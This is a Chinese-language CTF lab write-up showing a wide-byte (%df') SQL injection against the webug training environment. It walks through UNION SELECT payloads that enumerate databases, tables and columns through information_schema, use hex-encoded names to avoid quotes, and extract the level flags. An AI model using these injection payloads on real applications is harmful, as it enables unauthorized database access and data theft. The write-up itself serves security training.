标签: sql注入(ctf), web安全

URL: http://192.168.0.22/control/sqlinject/width_byte_injection.php?id=-1%df%27%2...

显示当前数据库中的表,得到:sqlinjection,storage_xss

id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

显示表sqlinjection中的列,常规语句应该是:

id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name='sqlinjection'%23

但是单引号被注释不能用了,报错:

得到:

id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=73716c696e6a656374696f6e%23

红色字体就是sqlinjection的16进制编码,在前面加上0x

id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x73716c696e6a656374696f6e%23

发送得到表内的列名,好像重复显示了2次

得到数据库名:

information_schema,mysql,performance_schema,test,webuq,webuq_sys,webuq_width_byte 看来还是在webug里面,爆破webug里面的表,红色是webug的16进制编码:

id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567 %23

得到webug里面的表: data_crud,env_list,env_path,flag,sqlinjection,user,user_test 爆破env list表:

id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656e765f6c697374 %23

得到列名: id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

爆破列env_flag的数据,第6关就用id=6:

id=-1%df' union select 1,envflag from webug.env_list where id=6 %23

得到flag: dfsadfsadfas

也可以查看到所有关卡的flag:

id=-1%df' union select 1,group_concat(id,0x26,envflag) from webug.env_list %23
